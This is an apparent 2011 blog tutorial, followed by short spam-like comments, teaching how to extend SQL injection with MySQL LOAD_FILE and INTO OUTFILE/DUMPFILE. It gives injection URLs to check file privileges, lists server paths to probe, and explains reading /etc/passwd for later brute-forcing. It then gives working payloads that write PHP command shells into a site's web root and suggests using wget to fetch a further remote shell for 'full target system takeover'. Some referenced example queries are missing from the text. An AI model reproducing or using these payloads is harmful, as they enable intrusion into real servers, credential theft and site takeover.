Tuesday, August 2, 2011

SQL Injection: How to use LOAD FILE & INTO DUMPFILE

I have covered several techniques on my blog on how to perform SQL injections and today I want to add another cool trick to the arsenal we have at hand. In today’s article I am going to let you in on a little secret, which is how to use INTO_OUTFILE() & LOAD_FILE() during your SQLi adventures to go a little deeper when machines are misconfigured and left wide open. The techniques I will cover today will help you to gain access to files on target machine as well as show you how to upload your own files  and code onto the target machine, all without ever stepping foot into the administration panel of the target website. Please try to keep up, here we go…

I will assume you have followed one of my previous tutorials from here on SQLi and found a target site that is indeed vulnerable, and now we will see if we can take things a step further this time by reading files from the target system and then testing whether or not we can upload our own files to said machine. In order to test the file access we have a few pre-requisites and then we have a few options:

·         Vulnerable target site
·         We need to know the current user name
o   Check other SQLi tutorials on methods for checking current user()
·         We need to know the current database
o   Check other SQLi tutorials on methods for checking current database()

Once these details are known you can start working through the options to check the file privileges for the current user. There are many methods; here are a few for specifically checking file privileges:
·         http://www.Site.com/index.php?id=0′ UNION SELECT file_priv FROM mysql.user WHERE user = ‘username’
·         http://www.Site.com/index.php?id=1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y’
·         http://www.Site.com/index.php?id=0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%
·         http://www.Site.com/index.php?id=1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y

If for some reason you can’t access the mysql users database we can still give things a shot but it will be slightly blind as we will need to assume we have file privileges and simply test things out with a little trial and error methodology.  We also need to determine where we will have read/write access on the server so we need to determine the necessary paths on the target machine. This can be done as covered in previous articles by simple querying for the database() & @@datadir values.

NOTE: If you can’t get these values to return for one reason or another, you can try to trigger error events and skim as much related info as possible from the error messages, as quit often the data directory path and current database are listed in the actual error messages. You may also try to guess the web directory and go at this somewhat blind using the old trial and error method; here are some good places to try:
·         /var/www/html/
·         /var/www/web1/html/
·         /var/www/sitename/htdocs/
·         /var/www/localhost/htdocs
·         /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
·         /etc/init.d/apache2
·         /etc/httpd/httpd.conf
·         /etc/apache/apache.conf
·         /etc/apache/httpd.conf
·         /etc/apache2/apache2.conf
·         /etc/apache2/httpd.conf
·         /usr/local/apache2/conf/httpd.conf
·         /usr/local/apache/conf/httpd.conf
·         /opt/apache/conf/httpd.conf
·         /home/apache/httpd.conf
·         /home/apache/conf/httpd.conf
·         /etc/apache2/sites-available/default
·         /etc/apache2/vhosts.d/default_vhost.include
·         /templates_compiled/
·         /templates_c/
·         /templates/
·         /temporary/
·         /images/
·         /cache/
·         /temp/
·         /files/

If you do a banner grab you can usually figure out some basic info regarding the webserver and OS which you can use to combine with Google to find other good places to look or try.  Assuming we have gathered the necessary info up to now we will start to see what we can do…

SAMPLE BANNER GRAB USING CURL – “curl –I http://www.target-site.com/”:

We can use LOAD_FILE() to read the contents of any file contained within the webserver. We will typically check for the "/etc/password" file to see if we get lucky and scoop usernames and/or passwords to possible use in bruteforce attack later. It looks like this:
o   Simply replace ‘path/to/file’ with the path to the file you want to read, like this

Also helpful to look for "/etc/hosts", "/etc/group", or possibly "C:\boot.ini" on Windows OS. You can use one to your liking, explore your own, just be aware that much like the table names this will need to be HEX'd from time to time to bypass filters and restrictions so results can be properly displayed.


Now we will use INTO_OUTFILE() & INTO_DUMPFILE() for all that they offer and try to root the target server by uploading a shell via SQL injection, remember the whole point of this is to show you how to do it without having to even step foot in the admin panel. These two options allow you to either take the contents from a column & place them in a nice text file for cleanliness purposes, OR we can use it to upload a php script of our choice that we could then use to perform a remote file inclusion, cmd execution, or whatever else you can think of.

NOTE: You CAN NOT overwrite existing files on the target system with these methods and in general it requires Magice_quotes_gpc to be disabled. Also be aware that HEX() and CHAR() won’t work for this like it does in other circumstances (mainly table_name & LOAD_FILE()). The last warning is that you must ensure that INTO OUTFILE is the last statement of your request or query.

OK so first we can use INTO_DUMPFILE() to dump the contents of a column into a text file. If we do it correctly we can dump the results into a area on the webserver that we can then check afterwards to find the results. If for example we wanted to take the password column from the admin table and place the content into a file it would look like this:

NOTE: You can use INTO_OUTFILE & INTO_DUMPFILE fairly interchangeable, but to avoid splitting chars between the data, we will use INTO DUMPFILE instead of INTO OUTFILE.

This will take the “passwd” column and will extract its full contents and place it in the new file created by our dumpfile argument, called “filed.txt”. Once you have run this query you can point your favorite browser at the designated web folder location to see the contents of your file you just created. If we wanted to take this even further you can use this same method but replace the column you are dumping with your own code. You can sue this approach to upload a .php backdoor, or perhaps upload some purposefully vulnerable code to allow remote file inclusion to get more privileged shell, or maybe you only need a simple php command shell to do your thing. All are possible and it works like this:
NOTE: You need to null the column numbers when using this method to avoid writing numbers to our files. Whatever you place where CODE is, is what will be written to the evil.php file that is created. This may require that the PHP safe_mode be turned off. Depending on OS and PHP version you can bypass the safe_mode restrictions.

A few deadly examples:
·      http://www.site.com/index.php?id=-725+UNION+SELECT+null,'<? system($_GET['c']); ?>’,null,null,null+INTO+DUMPFILE+’/path/on/target/evil.php’—
·     http://www.site.com/index.php?id=-725+UNION+SELECT+"<? system($_REQUEST['cmd']); ?>",2,3,4 INTO+OUTFILE+“/var/www/html/temp/evil.php" --
o   these are simple PHP CMD shells which would allow you to issue some basic commands on the target server. To use, just open URL to new file and change the trailing part of URL to your desired command and watch the page refresh with your results displayed
·         check system id
·         check the code for index page to see if we can find the default credentials being used to make connections, as well as getting some info on directory structure perhaps
·         use wget to download remote shell for upgraded privileges and further rooting of the target server
·         http://www.site.com/index.php?id=-725+UNION+SELECT+null, ‘<? phpinfo(); ?>’ ,null,null,null+INTO +DUMPFILE+’/path/on/target/evil.php’—
o   This will give you a lot of information relating to the target server’s current configuration

Once last trick to show you is that you can actually combine both the LOAD_FILE() & INTO_DUMPFILE() to obtain useful information from the target server. This essentially puts a copy of a file into usable web page for you to easily grab and read. Here is an example of how it might be used:
o   might require you to decrypt it but if it helps you to bypass filters and restrictions then so be it. You can try PHP charset encoders to get this done.
That brings this to a close on how to use LOAD_FILE and INTO_DUMPFILE to turn a standard SQL Injection into full target system takeover. I hope you have enjoyed this, and until next time Enjoy!


  1. Hey this is very good tutorial!

  2. Have you ever considered writing an e-book or guest authoring on other websites? I have a blog based on the same topics you discuss and would really like to have you share some stories/information.I know my subscribers
    would enjoy your work. If you're even remotely interested, feel free to send me an e-mail.
    Download Free Movie Online, Surely Good Sources

  3. This comment has been removed by the author.

  4. very nice post it gives best knowledge thank you more information our site
    spare parts supplier